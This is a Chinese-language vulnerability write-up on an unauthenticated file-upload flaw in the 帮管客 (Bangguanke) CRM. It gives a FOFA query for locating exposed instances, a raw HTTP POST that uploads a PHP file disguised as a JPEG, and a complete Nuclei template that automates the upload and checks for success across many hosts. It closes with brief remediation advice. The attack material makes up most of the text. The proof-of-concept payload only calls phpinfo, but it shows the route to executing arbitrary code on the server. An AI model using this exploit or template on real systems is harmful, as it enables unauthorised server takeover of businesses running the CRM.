帮管客CRM 文件上传漏洞

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Ⅰ、漏洞描述

帮管客CRM是一款集客户档案、销售记录、业务往来等功能于一体的客户管理系统。帮管客CRM客户管理系统，客户管理，从未如此简单，一个平台满足企业全方位的销售跟进、智能化服务管理、高效的沟通协同、图表化.帮管客CRM ajax_upload_chat、ajax_upload等接口处存在文件上传漏洞，未经授权的攻击者可利用该漏洞获取服务器权限。

Ⅱ、fofa语句

app="帮管客-CRM"

Ⅲ、漏洞复现

POC

POST /index.php/upload/ajax_upload HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv1WbOn5o

------WebKitFormBoundaryv1WbOn5o
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php
phpinfo();unlink(__FILE__);
------WebKitFormBoundaryv1WbOn5o--

1、构建poc

2、访问

http://127.0.0.1/data//uploads//202402//202402022003581smuhnKHt.php

Ⅳ、Nuclei-POC

id: CRM-uploadfile

info:
  name: 帮管客CRM ajax_upload_chat、ajax_upload等接口处存在文件上传漏洞 未经授权的攻击者可利用该漏洞获取服务器权限 
  author: WLF
  severity: high
  metadata: 
    fofa-query: app="帮管客-CRM"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /index.php/upload/ajax_upload HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Upgrade-Insecure-Requests: 1
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv1WbOn5o

        ------WebKitFormBoundaryv1WbOn5o
        Content-Disposition: form-data; name="file"; filename="1.php"
        Content-Type: image/jpeg

        <?php
        phpinfo();unlink(__FILE__);
        ------WebKitFormBoundaryv1WbOn5o--

      - |
        GET data/uploads/{{path}}/{{path1}}.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

    extractors:
          - type: regex
            name: path
            group: 1
            regex:
              - 'uploads\\/(\w*)\\'
            internal: true

          - type: regex
            name: path1
            group: 1
            regex:
              - '\\/(\w*)\.php"'
            internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"PHP")

Ⅴ、修复建议

1、请联系厂商进行修复；

2、如非必要，禁止公网访问该系统；

3、设置白名单访问。